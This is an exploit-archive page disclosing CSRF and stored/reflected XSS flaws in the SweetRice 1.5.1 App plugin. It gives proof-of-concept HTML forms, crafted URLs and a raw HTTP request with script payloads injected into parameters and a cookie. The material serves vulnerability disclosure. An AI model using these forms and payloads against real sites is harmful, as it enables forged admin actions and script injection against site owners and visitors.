Twenty Year Anniversary

SweetRice 1.5.1 Cross Site Request Forgery / Cross Site Scripting

SweetRice 1.5.1 Cross Site Request Forgery / Cross Site Scripting
Posted Nov 7, 2016
Authored by Ashiyane Digital Security Team

SweetRice version 1.5.1 suffers from cross site request forgery and cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss, csrf
MD5 | 3f82b32d23fef6951ea0028c40d24365

SweetRice 1.5.1 Cross Site Request Forgery / Cross Site Scripting

Change Mirror Download
<!--
Title: SweetRice App Plugin - Multiple XSS / CSRF
Application: App Plugin
Versions Affected: 1.0
Vendor URL: http://www.basic-cms.org/
Software URL: http://www.basic-cms.org/attachment/sweetrice-1.5.1.zip
Discovered by: Ashiyane Digital Security Team
Bugs: CSRF & XSS
Date: 17-Sept-2016

Proof of Concept :

1. Stored Xss in Custom App URL:
Vulnerable Parameter : url[home]
-->
<form method="post"
action="http://localhost/as/?app_mode=links&plugin=App&type=plugin">
<input type="text" name="url[home]"
value='"><script>alert(1)</script>'>
<input type="hidden" name="lids[home]" value="1">
<input type="submit" value="Done">
</form>
<!--
2. Xss in search:
http://localhost/1/as/?type=plugin&plugin=App&app_mode=database&keyword="><script>alert(1)</script>

3. Xss in Page Limit:
Payload should inject in cookies.
Vulnerable Parameter : page_limit
Headers :

GET /as/?app_mode=database&plugin=App&type=plugin& HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:49.0) Gecko/20100101
Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/1/as/?app_mode=database&plugin=App&type=plugin&
Cookie: dashboad_bg=#3f0840; page_limit="><script>alert(1)</script>;
admin=admin; passwd=5f4dcc3b5aa765d61d8327deb882cf99; lang=en-us;
__atuvc=15|41;
grav-tabs-state={"tab-content.options.advanced":"data.content"};
sweetrice=5h30gqavosudpnferatlh9oca4
Connection: keep-alive
Upgrade-Insecure-Requests: 1

4. Stored Xss and Csrf In Create Form:
-->
<form method="post"
action="http://localhost/1/as/?type=plugin&plugin=App&app_mode=form&mode=insert">
<input type="hidden" name="id" value="">
<input type="hidden" id="name" name="name"
value='<script>alert(1)</script>'>
<input type="hidden" id="action" name="action"
value='<script>alert(2)</script>'>
<input type="submit" value="Done">
</form>

<!--
5. Xss in Search:
http://localhost/1/as/?type=plugin&plugin=App&app_mode=form&search="><script>alert(1)</script>
-->

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

November 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    10 Files
  • 2
    Nov 2nd
    15 Files
  • 3
    Nov 3rd
    2 Files
  • 4
    Nov 4th
    2 Files
  • 5
    Nov 5th
    32 Files
  • 6
    Nov 6th
    27 Files
  • 7
    Nov 7th
    8 Files
  • 8
    Nov 8th
    9 Files
  • 9
    Nov 9th
    17 Files
  • 10
    Nov 10th
    2 Files
  • 11
    Nov 11th
    2 Files
  • 12
    Nov 12th
    33 Files
  • 13
    Nov 13th
    29 Files
  • 14
    Nov 14th
    23 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close